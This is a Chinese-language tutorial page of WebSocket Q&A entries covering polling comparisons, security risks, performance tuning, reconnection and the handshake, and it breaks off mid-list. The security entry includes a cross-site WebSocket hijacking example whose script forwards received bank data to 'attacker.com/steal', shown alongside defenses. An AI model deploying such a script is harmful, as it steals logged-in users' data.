WebSocket
WebSocket 是一种网络通信协议,提供了在单个TCP连接上进行全双工通讯的能力。它是HTML5一部分的先进技术,允许服务器和客户端之间进行实时、双向的交互通信。WebSocket设计用来取代传统的轮询连接,如长轮询,使得数据可以快速地在客户端和服务器之间传输,从而减少延迟。

查看更多相关内容
WebSocket与HTTP轮询、长轮询有什么区别?在实时通信场景中,WebSocket、HTTP轮询和长轮询是三种常见的技术方案。
## HTTP轮询(Polling)
### 工作原理
客户端定期向服务器发送HTTP请求,询问是否有新数据。
```javascript
// 客户端轮询实现
setInterval(() => {
fetch('/api/check-updates')
.then(response => response.json())
.then(data => {
if (data.hasUpdates) {
console.log('收到更新:', data.updates);
}
});
}, 5000); // 每5秒请求一次
```
### 优点
* 实现简单,兼容性好
* 服务器无需特殊配置
* 容易理解和使用
### 缺点
* **延迟高**:最多等待一个轮询周期
* **资源浪费**:大量无效请求
* **服务器压力大**:频繁的HTTP请求
* **带宽浪费**:每次请求都携带HTTP头部
## HTTP长轮询(Long Polling)
### 工作原理
客户端发送请求后,服务器保持连接打开,直到有新数据或超时才返回。
```javascript
// 客户端长轮询实现
function longPoll() {
fetch('/api/long-poll')
.then(response => response.json())
.then(data => {
console.log('收到数据:', data);
longPoll(); // 立即发起新的请求
})
.catch(error => {
setTimeout(longPoll, 5000); // 错误后延迟重试
});
}
longPoll();
```
### 优点
* **实时性较好**:服务器有数据立即返回
* **减少请求次数**:相比短轮询减少无效请求
### 缺点
* **连接管理复杂**:需要处理超时和重连
* **服务器资源占用**:保持大量打开的连接
* **仍然有延迟**:超时时间设置需要权衡
## WebSocket
### 工作原理
建立持久连接,服务器和客户端可以随时发送消息。
```javascript
// WebSocket实现
const ws = new WebSocket('ws://example.com/socket');
ws.onopen = () => {
console.log('连接已建立');
};
ws.onmessage = (event) => {
console.log('收到消息:', event.data);
};
ws.onerror = (error) => {
console.error('WebSocket错误:', error);
};
ws.onclose = () => {
console.log('连接已关闭');
};
```
### 优点
* **真正的实时性**:双向通信,零延迟
* **低开销**:建立连接后只需少量数据传输
* **全双工**:服务器和客户端可以同时发送消息
* **高效**:减少HTTP头部开销
### 缺点
* **实现复杂度较高**:需要处理连接状态、重连等
* **服务器要求高**:需要支持WebSocket协议
* **兼容性问题**:旧浏览器不支持
* **防火墙限制**:某些网络环境可能阻止WebSocket
## 性能对比
| 指标 | HTTP轮询 | 长轮询 | WebSocket |
| ------ | ------ | --- | --------- |
| 实时性 | 低 | 中 | 高 |
| 服务器负载 | 高 | 中 | 低 |
| 带宽消耗 | 高 | 中 | 低 |
| 实现复杂度 | 低 | 中 | 高 |
| 浏览器兼容性 | 最好 | 好 | 良好 |
## 适用场景
### HTTP轮询
* 数据更新频率低
* 实时性要求不高
* 简单的配置检查
### 长轮询
* 需要较好的实时性
* 服务器资源充足
* 不想引入WebSocket复杂度
### WebSocket
* 高实时性要求
* 双向通信需求
* 频繁的数据交换
* 在线聊天、游戏、实时监控等
服务端 · 2月18日 22:09
WebSocket有哪些安全问题?如何解决?WebSocket虽然提供了高效的实时通信能力,但也面临多种安全挑战。了解并解决这些安全问题至关重要。
## 主要安全风险
### 1. 跨站WebSocket劫持(CSWSH)
**问题描述**:攻击者利用用户的已登录状态,通过恶意网页建立WebSocket连接,窃取敏感数据。
**攻击示例**:
```html
<!-- 恶意网站 -->
<script>
const ws = new WebSocket('wss://bank.example.com/account');
ws.onmessage = (event) => {
// 发送窃取的数据到攻击者服务器
fetch('https://attacker.com/steal', {
method: 'POST',
body: event.data
});
};
</script>
```
**解决方案**:
```javascript
// 服务器端验证Origin头部
const allowedOrigins = ['https://example.com'];
wss.on('upgrade', (request, socket, head) => {
const origin = request.headers.origin;
if (!allowedOrigins.includes(origin)) {
socket.destroy();
return;
}
// 继续WebSocket握手
});
```
### 2. 数据注入攻击
**问题描述**:未经验证的数据直接处理,可能导致XSS、SQL注入等攻击。
**解决方案**:
```javascript
// 客户端:发送前验证数据
function sendSafeMessage(ws, message) {
// 验证消息格式
if (!isValidMessage(message)) {
console.error('无效的消息格式');
return;
}
// 转义特殊字符
const safeMessage = sanitizeMessage(message);
ws.send(JSON.stringify(safeMessage));
}
// 服务器端:接收后验证数据
wss.on('connection', (ws) => {
ws.on('message', (data) => {
try {
const message = JSON.parse(data);
// 验证消息结构
if (!validateMessageSchema(message)) {
ws.close(1003, 'Invalid message format');
return;
}
// 处理消息
handleMessage(message);
} catch (error) {
ws.close(1002, 'Protocol error');
}
});
});
```
### 3. 中间人攻击
**问题描述**:攻击者拦截并篡改WebSocket通信。
**解决方案**:
```javascript
// 始终使用WSS(WebSocket Secure)
const ws = new WebSocket('wss://example.com/socket');
// 服务器端配置SSL/TLS
const httpsServer = https.createServer({
cert: fs.readFileSync('cert.pem'),
key: fs.readFileSync('key.pem')
});
const wss = new WebSocket.Server({ server: httpsServer });
```
### 4. 认证和授权
**问题描述**:未授权用户建立连接或访问受保护资源。
**解决方案**:
```javascript
// 方案1:通过URL参数传递token
const ws = new WebSocket(`wss://example.com/socket?token=${token}`);
// 服务器端验证token
wss.on('connection', (ws, request) => {
const token = new URL(request.url, 'http://localhost').searchParams.get('token');
if (!verifyToken(token)) {
ws.close(1008, 'Unauthorized');
return;
}
// 连接成功,处理业务逻辑
});
// 方案2:通过子协议传递认证信息
const ws = new WebSocket('wss://example.com/socket', ['auth-token', token]);
// 服务器端验证子协议
wss.on('connection', (ws, request) => {
const protocols = request.headers['sec-websocket-protocol'];
if (!protocols || !verifyProtocol(protocols)) {
ws.close(1008, 'Unauthorized');
return;
}
});
```
### 5. 拒绝服务攻击(DoS)
**问题描述**:大量恶意连接或大消息导致服务器资源耗尽。
**解决方案**:
```javascript
// 限制连接数量
const MAX_CONNECTIONS = 1000;
const connectionCount = new Map();
wss.on('connection', (ws, request) => {
const ip = request.socket.remoteAddress;
const count = connectionCount.get(ip) || 0;
if (count >= MAX_CONNECTIONS_PER_IP) {
ws.close(1008, 'Too many connections');
return;
}
connectionCount.set(ip, count + 1);
ws.on('close', () => {
const currentCount = connectionCount.get(ip) || 0;
connectionCount.set(ip, Math.max(0, currentCount - 1));
});
});
// 限制消息大小
const MAX_MESSAGE_SIZE = 1024 * 1024; // 1MB
wss.on('connection', (ws) => {
ws.on('message', (data) => {
if (data.length > MAX_MESSAGE_SIZE) {
ws.close(1009, 'Message too large');
return;
}
// 处理消息
});
});
// 限制消息频率
const rateLimiter = new Map();
wss.on('connection', (ws, request) => {
const ip = request.socket.remoteAddress;
ws.on('message', (data) => {
const now = Date.now();
const userMessages = rateLimiter.get(ip) || [];
// 清理1分钟前的记录
const recentMessages = userMessages.filter(time => now - time < 60000);
if (recentMessages.length >= 100) { // 每分钟最多100条消息
ws.close(1008, 'Rate limit exceeded');
return;
}
recentMessages.push(now);
rateLimiter.set(ip, recentMessages);
// 处理消息
});
});
```
### 6. 消息完整性验证
**问题描述**:消息在传输过程中被篡改。
**解决方案**:
```javascript
// 使用HMAC验证消息完整性
const crypto = require('crypto');
const SECRET_KEY = 'your-secret-key';
function signMessage(message) {
const hmac = crypto.createHmac('sha256', SECRET_KEY);
hmac.update(JSON.stringify(message));
return hmac.digest('hex');
}
function verifyMessage(message, signature) {
const expectedSignature = signMessage(message);
return crypto.timingSafeEqual(
Buffer.from(signature),
Buffer.from(expectedSignature)
);
}
// 客户端发送消息
const message = { type: 'chat', content: 'Hello' };
const signature = signMessage(message);
ws.send(JSON.stringify({ message, signature }));
// 服务器端验证消息
wss.on('connection', (ws) => {
ws.on('message', (data) => {
const { message, signature } = JSON.parse(data);
if (!verifyMessage(message, signature)) {
ws.close(1002, 'Invalid signature');
return;
}
// 处理消息
});
});
```
## 安全最佳实践
1. **使用WSS**:始终使用加密的WebSocket连接
2. **验证Origin**:服务器端验证请求来源
3. **输入验证**:对所有输入数据进行严格验证
4. **输出编码**:对输出数据进行适当的编码
5. **认证授权**:实现完善的认证和授权机制
6. **速率限制**:防止DoS攻击
7. **日志记录**:记录所有连接和消息,便于审计
8. **定期更新**:及时更新WebSocket库和依赖
9. **安全头部**:设置适当的安全响应头
10. **监控告警**:实时监控异常行为并及时告警
服务端 · 2月18日 22:08
WebSocket如何进行性能优化?# WebSocket性能优化策略
WebSocket虽然本身性能优异,但在实际应用中仍需进行多方面的优化以确保最佳性能。
## 连接管理优化
### 1. 连接池管理
```javascript
class WebSocketPool {
constructor(url, maxConnections = 10) {
this.url = url;
this.maxConnections = maxConnections;
this.connections = [];
this.pendingRequests = [];
}
async getConnection() {
// 查找空闲连接
const idleConnection = this.connections.find(conn => conn.busy === false);
if (idleConnection) {
idleConnection.busy = true;
return idleConnection.ws;
}
// 创建新连接
if (this.connections.length < this.maxConnections) {
const ws = await this.createConnection();
this.connections.push({ ws, busy: true });
return ws;
}
// 等待可用连接
return new Promise(resolve => {
this.pendingRequests.push(resolve);
});
}
releaseConnection(ws) {
const connection = this.connections.find(conn => conn.ws === ws);
if (connection) {
connection.busy = false;
// 处理等待的请求
if (this.pendingRequests.length > 0) {
const resolve = this.pendingRequests.shift();
connection.busy = true;
resolve(ws);
}
}
}
async createConnection() {
return new Promise((resolve, reject) => {
const ws = new WebSocket(this.url);
ws.onopen = () => resolve(ws);
ws.onerror = reject;
});
}
}
```
### 2. 连接复用
```javascript
// 单例模式管理全局WebSocket连接
class GlobalWebSocket {
static instance = null;
constructor(url) {
if (GlobalWebSocket.instance) {
return GlobalWebSocket.instance;
}
this.url = url;
this.ws = null;
this.messageHandlers = new Map();
this.connect();
GlobalWebSocket.instance = this;
}
connect() {
this.ws = new WebSocket(this.url);
this.ws.onmessage = (event) => {
const { type, data } = JSON.parse(event.data);
const handlers = this.messageHandlers.get(type) || [];
handlers.forEach(handler => handler(data));
};
}
subscribe(type, handler) {
if (!this.messageHandlers.has(type)) {
this.messageHandlers.set(type, []);
}
this.messageHandlers.get(type).push(handler);
}
unsubscribe(type, handler) {
const handlers = this.messageHandlers.get(type) || [];
const index = handlers.indexOf(handler);
if (index !== -1) {
handlers.splice(index, 1);
}
}
}
// 使用示例
const ws = new GlobalWebSocket('ws://example.com/socket');
ws.subscribe('chat', (data) => console.log('收到聊天消息:', data));
ws.subscribe('notification', (data) => console.log('收到通知:', data));
```
## 消息传输优化
### 1. 消息压缩
```javascript
// 使用pako库进行gzip压缩
import pako from 'pako';
class CompressibleWebSocket {
constructor(url) {
this.ws = new WebSocket(url);
this.setupMessageHandlers();
}
send(data) {
const json = JSON.stringify(data);
const compressed = pako.gzip(json);
this.ws.send(compressed);
}
setupMessageHandlers() {
this.ws.onmessage = (event) => {
const compressed = new Uint8Array(event.data);
const decompressed = pako.ungzip(compressed, { to: 'string' });
const data = JSON.parse(decompressed);
this.handleMessage(data);
};
}
handleMessage(data) {
// 处理解压后的消息
}
}
```
### 2. 消息批量发送
```javascript
class BatchWebSocket {
constructor(url, batchSize = 10, batchTimeout = 100) {
this.ws = new WebSocket(url);
this.batch = [];
this.batchSize = batchSize;
this.batchTimeout = batchTimeout;
this.batchTimer = null;
}
send(message) {
this.batch.push(message);
// 达到批量大小立即发送
if (this.batch.length >= this.batchSize) {
this.flush();
} else {
// 设置超时发送
this.scheduleFlush();
}
}
scheduleFlush() {
if (this.batchTimer) {
clearTimeout(this.batchTimer);
}
this.batchTimer = setTimeout(() => {
this.flush();
}, this.batchTimeout);
}
flush() {
if (this.batch.length === 0) return;
const batch = [...this.batch];
this.batch = [];
if (this.batchTimer) {
clearTimeout(this.batchTimer);
this.batchTimer = null;
}
this.ws.send(JSON.stringify({ type: 'batch', messages: batch }));
}
}
```
### 3. 消息优先级
```javascript
class PriorityWebSocket {
constructor(url) {
this.ws = new WebSocket(url);
this.highPriorityQueue = [];
this.normalPriorityQueue = [];
this.lowPriorityQueue = [];
this.isSending = false;
this.setupMessageHandlers();
}
send(message, priority = 'normal') {
const queue = this.getQueue(priority);
queue.push(message);
this.processQueue();
}
getQueue(priority) {
switch (priority) {
case 'high':
return this.highPriorityQueue;
case 'low':
return this.lowPriorityQueue;
default:
return this.normalPriorityQueue;
}
}
async processQueue() {
if (this.isSending) return;
const message = this.getNextMessage();
if (!message) return;
this.isSending = true;
try {
await this.sendMessage(message);
} catch (error) {
console.error('发送消息失败:', error);
// 重新加入队列
this.normalPriorityQueue.unshift(message);
}
this.isSending = false;
this.processQueue();
}
getNextMessage() {
if (this.highPriorityQueue.length > 0) {
return this.highPriorityQueue.shift();
}
if (this.normalPriorityQueue.length > 0) {
return this.normalPriorityQueue.shift();
}
if (this.lowPriorityQueue.length > 0) {
return this.lowPriorityQueue.shift();
}
return null;
}
sendMessage(message) {
return new Promise((resolve, reject) => {
this.ws.send(JSON.stringify(message));
resolve();
});
}
}
```
## 服务器端优化
### 1. 负载均衡
```javascript
// 使用Redis进行WebSocket连接的负载均衡
const Redis = require('ioredis');
const redis = new Redis();
class LoadBalancedWebSocketServer {
constructor(server) {
this.wss = new WebSocket.Server({ server });
this.setupLoadBalancing();
}
setupLoadBalancing() {
this.wss.on('connection', (ws, request) => {
const userId = this.getUserId(request);
const serverId = this.getServerId(userId);
// 如果连接不在当前服务器,重定向
if (serverId !== this.currentServerId) {
ws.close(1000, `Redirect to ${serverId}`);
return;
}
// 注册连接
this.registerConnection(userId, ws);
ws.on('close', () => {
this.unregisterConnection(userId);
});
});
}
async registerConnection(userId, ws) {
await redis.hset('websocket_connections', userId, this.currentServerId);
this.connections.set(userId, ws);
}
async unregisterConnection(userId) {
await redis.hdel('websocket_connections', userId);
this.connections.delete(userId);
}
async sendToUser(userId, message) {
const serverId = await redis.hget('websocket_connections', userId);
if (serverId === this.currentServerId) {
const ws = this.connections.get(userId);
if (ws && ws.readyState === WebSocket.OPEN) {
ws.send(JSON.stringify(message));
}
} else {
// 转发到目标服务器
this.forwardToServer(serverId, userId, message);
}
}
getServerId(userId) {
// 一致性哈希算法
return consistentHash(userId, this.serverList);
}
}
```
### 2. 消息广播优化
```javascript
class OptimizedBroadcastServer {
constructor(server) {
this.wss = new WebSocket.Server({ server });
this.rooms = new Map();
this.setupBroadcast();
}
setupBroadcast() {
this.wss.on('connection', (ws, request) => {
const { roomId } = this.parseRequest(request);
// 加入房间
this.joinRoom(ws, roomId);
ws.on('message', (data) => {
const message = JSON.parse(data);
this.broadcastToRoom(roomId, message, ws);
});
ws.on('close', () => {
this.leaveRoom(ws, roomId);
});
});
}
joinRoom(ws, roomId) {
if (!this.rooms.has(roomId)) {
this.rooms.set(roomId, new Set());
}
this.rooms.get(roomId).add(ws);
}
leaveRoom(ws, roomId) {
const room = this.rooms.get(roomId);
if (room) {
room.delete(ws);
if (room.size === 0) {
this.rooms.delete(roomId);
}
}
}
broadcastToRoom(roomId, message, excludeWs) {
const room = this.rooms.get(roomId);
if (!room) return;
const data = JSON.stringify(message);
room.forEach(ws => {
if (ws !== excludeWs && ws.readyState === WebSocket.OPEN) {
ws.send(data);
}
});
}
}
```
## 监控和调优
### 1. 性能监控
```javascript
class WebSocketMonitor {
constructor(ws) {
this.ws = ws;
this.metrics = {
messagesSent: 0,
messagesReceived: 0,
bytesSent: 0,
bytesReceived: 0,
latency: [],
errors: 0
};
this.setupMonitoring();
}
setupMonitoring() {
const originalSend = this.ws.send.bind(this.ws);
this.ws.send = (data) => {
this.metrics.messagesSent++;
this.metrics.bytesSent += data.length;
return originalSend(data);
};
this.ws.onmessage = (event) => {
this.metrics.messagesReceived++;
this.metrics.bytesReceived += event.data.length;
// 计算延迟
if (event.data.timestamp) {
const latency = Date.now() - event.data.timestamp;
this.metrics.latency.push(latency);
// 只保留最近100个延迟记录
if (this.metrics.latency.length > 100) {
this.metrics.latency.shift();
}
}
};
this.ws.onerror = () => {
this.metrics.errors++;
};
}
getMetrics() {
return {
...this.metrics,
averageLatency: this.calculateAverageLatency(),
p99Latency: this.calculateP99Latency()
};
}
calculateAverageLatency() {
if (this.metrics.latency.length === 0) return 0;
const sum = this.metrics.latency.reduce((a, b) => a + b, 0);
return sum / this.metrics.latency.length;
}
calculateP99Latency() {
if (this.metrics.latency.length === 0) return 0;
const sorted = [...this.metrics.latency].sort((a, b) => a - b);
const index = Math.floor(sorted.length * 0.99);
return sorted[index];
}
}
```
## 最佳实践
1. **连接复用**:避免频繁创建和销毁连接
2. **消息压缩**:对大消息进行压缩传输
3. **批量发送**:合并小消息减少网络往返
4. **优先级队列**:重要消息优先发送
5. **负载均衡**:分散连接到多个服务器
6. **监控指标**:实时监控性能指标
7. **及时调优**:根据监控数据调整策略
8. **资源清理**:及时清理无用连接和资源
服务端 · 2月18日 22:08
WebSocket如何实现断线重连?# WebSocket断线重连机制详解
WebSocket连接可能会因为网络波动、服务器重启、超时等原因断开,实现可靠的断线重连机制至关重要。
## 连接状态检测
WebSocket有四种连接状态:
```javascript
const ws = new WebSocket('ws://example.com');
// 0: CONNECTING - 正在连接
// 1: OPEN - 已连接
// 2: CLOSING - 正在关闭
// 3: CLOSED - 已关闭
console.log(ws.readyState); // 获取当前状态
```
## 基础重连实现
```javascript
class WebSocketManager {
constructor(url) {
this.url = url;
this.ws = null;
this.reconnectAttempts = 0;
this.maxReconnectAttempts = 5;
this.reconnectInterval = 3000; // 3秒
this.shouldReconnect = true;
this.connect();
}
connect() {
this.ws = new WebSocket(this.url);
this.ws.onopen = () => {
console.log('WebSocket连接已建立');
this.reconnectAttempts = 0;
};
this.ws.onclose = (event) => {
console.log('WebSocket连接已关闭:', event.code, event.reason);
if (this.shouldReconnect) {
this.reconnect();
}
};
this.ws.onerror = (error) => {
console.error('WebSocket错误:', error);
};
}
reconnect() {
if (this.reconnectAttempts >= this.maxReconnectAttempts) {
console.error('达到最大重连次数,停止重连');
return;
}
this.reconnectAttempts++;
const delay = this.getReconnectDelay();
console.log(`${delay}ms后尝试第${this.reconnectAttempts}次重连`);
setTimeout(() => {
this.connect();
}, delay);
}
getReconnectDelay() {
// 指数退避策略
return Math.min(
this.reconnectInterval * Math.pow(2, this.reconnectAttempts - 1),
30000 // 最大30秒
);
}
disconnect() {
this.shouldReconnect = false;
if (this.ws) {
this.ws.close();
}
}
}
// 使用示例
const wsManager = new WebSocketManager('ws://example.com/socket');
```
## 优雅关闭处理
```javascript
class WebSocketManager {
// ... 其他代码
close(code = 1000, reason = 'Normal closure') {
this.shouldReconnect = false;
if (this.ws && this.ws.readyState === WebSocket.OPEN) {
this.ws.close(code, reason);
}
}
// 在onclose中判断是否为正常关闭
ws.onclose = (event) => {
// 正常关闭状态码:1000
if (event.code === 1000) {
console.log('正常关闭连接');
return;
}
// 异常关闭,尝试重连
if (this.shouldReconnect) {
this.reconnect();
}
};
}
```
## 常见关闭状态码
| 状态码 | 含义 |
|--------|------|
| 1000 | 正常关闭 |
| 1001 | 端点离开 |
| 1002 | 协议错误 |
| 1003 | 不支持的数据类型 |
| 1005 | 无状态码(内部使用) |
| 1006 | 连接异常关闭 |
| 1007 | 数据类型不一致 |
| 1008 | 策略违规 |
| 1009 | 消息过大 |
| 1010 | 缺少扩展 |
| 1011 | 内部错误 |
| 1015 | TLS握手失败 |
## 心跳检测与重连
```javascript
class WebSocketManager {
constructor(url) {
// ... 其他初始化
this.heartbeatInterval = 30000; // 30秒
this.heartbeatTimer = null;
this.pongTimeout = 5000; // 5秒超时
this.pongTimer = null;
}
startHeartbeat() {
this.heartbeatTimer = setInterval(() => {
if (this.ws && this.ws.readyState === WebSocket.OPEN) {
this.sendPing();
}
}, this.heartbeatInterval);
}
sendPing() {
this.ws.send(JSON.stringify({ type: 'ping' }));
// 设置pong超时
this.pongTimer = setTimeout(() => {
console.error('心跳超时,关闭连接');
this.ws.close();
}, this.pongTimeout);
}
handlePong() {
if (this.pongTimer) {
clearTimeout(this.pongTimer);
this.pongTimer = null;
}
}
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
if (data.type === 'pong') {
this.handlePong();
}
// 处理其他消息...
};
ws.onopen = () => {
this.startHeartbeat();
};
ws.onclose = () => {
this.stopHeartbeat();
};
stopHeartbeat() {
if (this.heartbeatTimer) {
clearInterval(this.heartbeatTimer);
this.heartbeatTimer = null;
}
if (this.pongTimer) {
clearTimeout(this.pongTimer);
this.pongTimer = null;
}
}
}
```
## 离线检测
```javascript
class WebSocketManager {
constructor(url) {
// ... 其他初始化
this.setupOfflineDetection();
}
setupOfflineDetection() {
window.addEventListener('online', () => {
console.log('网络已恢复,尝试重连');
if (!this.ws || this.ws.readyState !== WebSocket.OPEN) {
this.connect();
}
});
window.addEventListener('offline', () => {
console.log('网络已断开');
});
}
}
```
## 最佳实践
1. **指数退避**:重连间隔逐渐增加,避免服务器压力
2. **最大重连次数**:防止无限重连
3. **心跳机制**:及时检测连接状态
4. **优雅关闭**:区分正常和异常关闭
5. **离线检测**:监听网络状态变化
6. **状态通知**:向用户反馈连接状态
7. **消息队列**:重连期间缓存消息,连接成功后发送
服务端 · 2月18日 22:08
WebSocket 是什么?它与 HTTP 有什么区别?WebSocket 是一种网络通信协议,提供了在单个 TCP 连接上进行全双工通讯的能力。它是 HTML5 的一部分,允许服务器和客户端之间进行实时、双向的交互通信。
## 与 HTTP 的主要区别
### 1. 通信模式
- **HTTP**: 半双工通信,客户端发起请求,服务器响应后连接关闭
- **WebSocket**: 全双工通信,双方可以同时发送和接收数据
### 2. 连接持久性
- **HTTP**: 无状态协议,每次请求都需要建立新的连接
- **WebSocket**: 持久连接,建立后可以保持长时间通信
### 3. 协议开销
- **HTTP**: 每次请求都包含完整的 HTTP 头部,开销较大
- **WebSocket**: 建立连接后,数据帧头部很小(2-14 字节),开销极低
### 4. 实时性
- **HTTP**: 需要轮询或长轮询来实现实时通信,延迟较高
- **WebSocket**: 服务器可以主动推送数据,实时性强
## WebSocket 协议特点
### 握手过程
WebSocket 通过 HTTP 升级机制建立连接:
```
客户端请求:
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
服务器响应:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
```
### 数据帧格式
WebSocket 使用轻量级的数据帧格式,支持文本和二进制数据传输。
## 应用场景
- 实时聊天应用
- 在线游戏
- 股票行情推送
- 协同编辑
- 实时监控和仪表板
服务端 · 2月18日 21:45
WebSocket 的性能优化技术有哪些?WebSocket 性能优化需要从多个层面进行,包括协议层面、应用层面和架构层面。以下是关键的性能优化技术:
## 1. 消息压缩
### 启用 permessage-deflate 扩展
```javascript
// 客户端启用压缩
const ws = new WebSocket('wss://example.com/socket', {
perMessageDeflate: {
threshold: 1024, // 超过1KB的消息才压缩
clientMaxWindowBits: 15,
serverMaxWindowBits: 15,
clientNoContextTakeover: false,
serverNoContextTakeover: false
}
});
// 服务器端(Node.js ws库)
const WebSocket = require('ws');
const wss = new WebSocket.Server({
perMessageDeflate: {
threshold: 1024,
zlibDeflateOptions: {
level: 3, // 压缩级别 1-9,3是平衡点
concurrency: 10
},
zlibInflateOptions: {
chunkSize: 10 * 1024
}
}
});
```
**压缩效果:**
- 文本消息可减少 60-80% 的大小
- JSON 数据压缩效果显著
- 注意:小消息压缩可能反而增加开销
## 2. 消息批处理和合并
### 批量发送小消息
```javascript
class MessageBatcher {
constructor(ws, batchSize = 10, batchTimeout = 100) {
this.ws = ws;
this.batchSize = batchSize;
this.batchTimeout = batchTimeout;
this.messageQueue = [];
this.batchTimer = null;
}
add(message) {
this.messageQueue.push(message);
if (this.messageQueue.length >= this.batchSize) {
this.flush();
} else if (!this.batchTimer) {
this.batchTimer = setTimeout(() => this.flush(), this.batchTimeout);
}
}
flush() {
if (this.messageQueue.length === 0) return;
const batch = {
type: 'batch',
messages: this.messageQueue,
timestamp: Date.now()
};
this.ws.send(JSON.stringify(batch));
this.messageQueue = [];
if (this.batchTimer) {
clearTimeout(this.batchTimer);
this.batchTimer = null;
}
}
}
// 使用示例
const batcher = new MessageBatcher(ws);
batcher.add({ type: 'chat', text: 'Hello' });
batcher.add({ type: 'status', value: 'online' });
```
## 3. 二进制数据传输
### 使用二进制格式传输大数据
```javascript
// 发送二进制数据
const largeData = new ArrayBuffer(1024 * 1024); // 1MB 数据
ws.send(largeData);
// 使用 ArrayBuffer 和 TypedArray 优化
function sendOptimizedData(ws, data) {
// 将对象转换为二进制格式
const buffer = new ArrayBuffer(data.length * 4);
const view = new Float32Array(buffer);
for (let i = 0; i < data.length; i++) {
view[i] = data[i];
}
ws.send(buffer);
}
// 接收二进制数据
ws.binaryType = 'arraybuffer';
ws.onmessage = (event) => {
if (event.data instanceof ArrayBuffer) {
const view = new Float32Array(event.data);
// 处理二进制数据
}
};
```
**优势:**
- 比文本格式更紧凑
- 解析速度更快
- 内存占用更少
## 4. 连接复用和池化
### 客户端连接池
```javascript
class WebSocketPool {
constructor(url, poolSize = 3) {
this.url = url;
this.poolSize = poolSize;
this.connections = [];
this.activeCount = 0;
}
async getConnection() {
// 查找空闲连接
const available = this.connections.find(ws =>
ws.readyState === WebSocket.OPEN && !ws.inUse
);
if (available) {
available.inUse = true;
return available;
}
// 创建新连接
if (this.connections.length < this.poolSize) {
const ws = new WebSocket(this.url);
ws.inUse = true;
this.connections.push(ws);
return ws;
}
// 等待连接释放
return new Promise(resolve => {
const checkInterval = setInterval(() => {
const free = this.connections.find(ws =>
ws.readyState === WebSocket.OPEN && !ws.inUse
);
if (free) {
clearInterval(checkInterval);
free.inUse = true;
resolve(free);
}
}, 100);
});
}
releaseConnection(ws) {
ws.inUse = false;
}
}
```
## 5. 数据结构优化
### 使用高效的数据格式
```javascript
// 使用 Protocol Buffers 替代 JSON
const protobuf = require('protobufjs');
// 定义消息结构
const messageSchema = protobuf.loadSync('message.proto');
const Message = messageSchema.lookupType('Message');
// 编码
const message = Message.encode({
type: 'chat',
content: 'Hello',
timestamp: Date.now()
});
// 发送
ws.send(message.finish());
// 解码
ws.onmessage = (event) => {
const decoded = Message.decode(new Uint8Array(event.data));
// 处理解码后的数据
};
```
**性能对比:**
- Protocol Buffers: 编码/解码快 5-10 倍
- MessagePack: 比 JSON 小 20-30%
- FlatBuffers: 零拷贝访问
## 6. 心跳优化
### 自适应心跳机制
```javascript
class AdaptiveHeartbeat {
constructor(ws, initialInterval = 30000) {
this.ws = ws;
this.interval = initialInterval;
this.minInterval = 5000;
this.maxInterval = 60000;
this.rtt = 0;
this.timer = null;
}
start() {
this.scheduleNextPing();
}
scheduleNextPing() {
this.timer = setTimeout(() => {
const startTime = Date.now();
this.ws.send(JSON.stringify({ type: 'ping', timestamp: startTime }));
this.ws.once('message', (data) => {
const message = JSON.parse(data);
if (message.type === 'pong') {
this.rtt = Date.now() - startTime;
this.adjustInterval();
}
});
this.scheduleNextPing();
}, this.interval);
}
adjustInterval() {
// 根据 RTT 调整心跳间隔
if (this.rtt < 100) {
this.interval = Math.min(this.interval * 0.9, this.maxInterval);
} else if (this.rtt > 500) {
this.interval = Math.max(this.interval * 1.1, this.minInterval);
}
}
}
```
## 7. 服务器端优化
### 使用高性能 WebSocket 库
```javascript
// 使用 uWS(比 ws 快 10-20 倍)
const uWS = require('uWebSockets.js');
const app = uWS.App().ws('/*', {
compression: 1, // 启用压缩
maxPayloadLength: 16 * 1024 * 1024, // 16MB
idleTimeout: 60,
open: (ws) => {
// 连接打开
},
message: (ws, message, isBinary) => {
// 处理消息
ws.send(message, isBinary);
},
close: (ws, code, message) => {
// 连接关闭
}
}).listen(3000, (token) => {
if (token) {
console.log('Server started');
}
});
```
## 8. 监控和调优
### 性能监控指标
```javascript
class PerformanceMonitor {
constructor() {
this.metrics = {
messagesSent: 0,
messagesReceived: 0,
bytesSent: 0,
bytesReceived: 0,
latency: [],
errors: 0
};
}
recordMessage(size, latency) {
this.metrics.messagesSent++;
this.metrics.bytesSent += size;
this.metrics.latency.push(latency);
// 保持最近1000个样本
if (this.metrics.latency.length > 1000) {
this.metrics.latency.shift();
}
}
getStats() {
const avgLatency = this.metrics.latency.reduce((a, b) => a + b, 0) /
this.metrics.latency.length;
return {
...this.metrics,
avgLatency: avgLatency.toFixed(2),
throughput: (this.metrics.bytesSent / 1024 / 1024).toFixed(2) + ' MB/s'
};
}
}
```
## 性能优化建议总结
1. **启用压缩**:对大消息使用 permessage-deflate
2. **批处理**:合并小消息减少网络往返
3. **二进制格式**:使用二进制数据传输大数据
4. **连接复用**:避免频繁创建连接
5. **高效序列化**:使用 Protocol Buffers 等格式
6. **自适应心跳**:根据网络状况调整心跳间隔
7. **高性能库**:使用 uWS 等优化库
8. **监控调优**:持续监控性能指标并优化
服务端 · 2月18日 21:44
WebSocket 握手过程是如何工作的?WebSocket 握手是一个从 HTTP 协议升级到 WebSocket 协议的过程,通过 HTTP Upgrade 机制实现。
## 握手流程详解
### 1. 客户端发起握手请求
客户端发送一个特殊的 HTTP GET 请求,包含以下关键头部字段:
```
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
```
**关键头部说明:**
- `Upgrade: websocket`: 告诉服务器客户端想要升级到 WebSocket 协议
- `Connection: Upgrade`: 表示这是一个升级连接
- `Sec-WebSocket-Key`: 客户端生成的随机字符串,用于验证服务器
- `Sec-WebSocket-Version`: WebSocket 协议版本,当前为 13
- `Sec-WebSocket-Protocol`: 可选,指定子协议
- `Sec-WebSocket-Extensions`: 可选,指定扩展功能
### 2. 服务器验证并响应
服务器收到请求后,进行以下验证:
1. 验证 `Sec-WebSocket-Key` 是否存在
